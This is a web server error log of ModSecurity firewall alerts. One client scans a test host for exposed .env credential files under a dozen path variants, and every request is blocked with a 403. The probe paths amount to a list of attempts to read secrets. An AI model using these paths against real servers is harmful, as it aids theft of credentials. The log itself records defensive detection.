[Wed Feb 25 06:04:30.234287 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZcQAAAAY&quot;]
[Wed Feb 25 06:04:30.234568 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZcQAAAAY&quot;]
[Wed Feb 25 06:04:30.234739 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZcQAAAAY&quot;]
[Wed Feb 25 06:04:30.257986 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZcgAAAAY&quot;]
[Wed Feb 25 06:04:30.258283 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZcgAAAAY&quot;]
[Wed Feb 25 06:04:30.258499 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZcgAAAAY&quot;]
[Wed Feb 25 06:04:30.317164 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZcwAAAAY&quot;]
[Wed Feb 25 06:04:30.317462 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZcwAAAAY&quot;]
[Wed Feb 25 06:04:30.317651 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZcwAAAAY&quot;]
[Wed Feb 25 06:04:30.433176 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdAAAAAY&quot;]
[Wed Feb 25 06:04:30.433473 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdAAAAAY&quot;]
[Wed Feb 25 06:04:30.433693 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdAAAAAY&quot;]
[Wed Feb 25 06:04:30.476592 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdQAAAAY&quot;]
[Wed Feb 25 06:04:30.476992 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdQAAAAY&quot;]
[Wed Feb 25 06:04:30.477275 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdQAAAAY&quot;]
[Wed Feb 25 06:04:30.526844 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdgAAAAY&quot;]
[Wed Feb 25 06:04:30.527264 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdgAAAAY&quot;]
[Wed Feb 25 06:04:30.527584 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdgAAAAY&quot;]
[Wed Feb 25 06:04:30.540051 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCvwAAAAU&quot;]
[Wed Feb 25 06:04:30.540425 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCvwAAAAU&quot;]
[Wed Feb 25 06:04:30.540674 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCvwAAAAU&quot;]
[Wed Feb 25 06:04:30.579891 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdwAAAAY&quot;]
[Wed Feb 25 06:04:30.580173 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdwAAAAY&quot;]
[Wed Feb 25 06:04:30.580387 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ6C3vjNQqDNAmB2zjqZdwAAAAY&quot;]
[Wed Feb 25 06:04:30.657743 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCwQAAAAU&quot;]
[Wed Feb 25 06:04:30.658036 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCwQAAAAU&quot;]
[Wed Feb 25 06:04:30.658219 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCwQAAAAU&quot;]
[Wed Feb 25 06:04:30.799567 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCwwAAAAU&quot;]
[Wed Feb 25 06:04:30.799862 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCwwAAAAU&quot;]
[Wed Feb 25 06:04:30.800059 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCwwAAAAU&quot;]
[Wed Feb 25 06:04:30.998852 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCxQAAAAU&quot;]
[Wed Feb 25 06:04:30.999124 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCxQAAAAU&quot;]
[Wed Feb 25 06:04:30.999296 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ6C3uTWwZsZM3_RktVCxQAAAAU&quot;]
